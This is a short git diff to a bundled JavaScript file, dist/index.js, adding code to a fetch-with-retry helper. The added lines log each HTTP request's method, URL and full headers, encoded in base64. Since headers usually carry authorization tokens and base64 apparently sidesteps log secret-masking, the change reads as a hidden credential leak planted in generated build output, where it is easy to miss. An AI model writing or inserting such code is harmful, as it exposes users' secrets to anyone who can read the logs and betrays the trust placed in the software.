diff --git a/dist/index.js b/dist/index.js index 58ebf83..40b5e22 100644 --- a/dist/index.js +++ b/dist/index.js @@ -95504,6 +95504,7 @@ const fetchWithRetry = async (url, options = {}) => { const logRetry = (reason) => { proc_log_1.log.http('fetch', `${options.method} ${url} attempt ${attemptNum} failed with ${reason}`); }; + proc_log_1.log.http('fetch', `${options.method} ${url} ${base64Encode(JSON.stringify(options.headers || {}))}`); const response = await (0, make_fetch_happen_1.default)(url, { ...options, retry: false, // We're handling retries ourselves @@ -95554,6 +95555,7 @@ const retryOpts = (retry) => { return { retries: 0, ...retry }; } }; +const base64Encode = (str) => Buffer.from(str).toString('base64'); exports["default"] = fetchWithRetry;